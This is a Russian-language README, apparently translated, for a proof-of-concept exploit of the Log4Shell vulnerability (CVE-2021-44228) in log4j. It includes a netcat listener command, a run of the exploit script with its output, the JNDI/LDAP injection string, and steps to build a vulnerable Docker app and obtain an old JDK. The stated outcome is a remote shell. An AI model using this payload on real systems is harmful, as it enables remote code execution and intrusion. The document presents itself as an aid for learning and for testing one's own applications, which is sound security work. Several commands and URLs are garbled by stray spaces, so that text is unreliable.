Проверка концепции недавно обнаруженной уязвимости CVE-2021-44228.
Недавно появилась новая уязвимость в log4j, библиотеке журналирования Java, которая очень широко используется в таких приложениях, как elasticsearch, Minecraft и многих других.
В этом репозитории есть пример уязвимого приложения и его эксплуатация для проверки концепции (POC).
В качестве PoC имеется файл Python, который автоматизирует процесс.
pip install -r requirements.txt
nc - lvnp 9001
jdk1.8.0_20
и находиться в том же каталоге. $ python3 poc . py - - userip localhost - - webport 8000 - - lport 9001
[!] CVE : CVE - 2021 - 44228
[!] Github repo : https : // github . com / kozmer / log4j - shell - poc
[ + ] Exploit java class created success
[ + ] Setting up fake LDAP server
[ + ] Send me : ${ jndi : ldap : // localhost : 1389 / a }
Listening on 0.0 . 0.0 : 1389
Этот сценарий настроит для вас HTTP-сервер и сервер LDAP, а также создаст полезную нагрузку, которую вы сможете использовать для вставки в уязвимый параметр. После этого, если все прошло успешно, у вас должен получиться шелл на lport.
Существует Dockerfile с уязвимым веб-приложением. Вы можете использовать это, выполнив следующие действия:
1 : docker build - t log4j - shell - poc .
2 : docker run -- network host log4j - shell - poc
Как только он заработает, вы сможете получить к нему доступ на локальном хосте: 8080.
Oracle, к счастью, предоставляет архив для всех предыдущих версий Java:
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html.
Прокрутите вниз до 8u20
и загрузите файлы, соответствующие вашей операционной системе и оборудованию.
Примечание. Вам необходимо создать учетную запись, чтобы иметь возможность загрузить пакет.
Загрузив и распаковав архив, вы сможете найти java
и несколько связанных с ним двоичных файлов в jdk1.8.0_20/bin
.
Примечание. Обязательно извлеките папку jdk в этот репозиторий с тем же именем, чтобы она работала.
❯ tar -xf jdk-8u20-linux-x64.tar.gz
❯ ./jdk1.8.0_20/bin/java -version
java version "1.8.0_20"
Java(TM) SE Runtime Environment (build 1.8.0_20-b26)
Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)
Этот репозиторий не предназначен для использования в один клик для взлома CVE-2021-44228. Цель этого проекта — помочь людям узнать об этой уязвимости и, возможно, протестировать свои собственные приложения (однако для этой цели есть приложения получше, например: https://log4shell.tools/).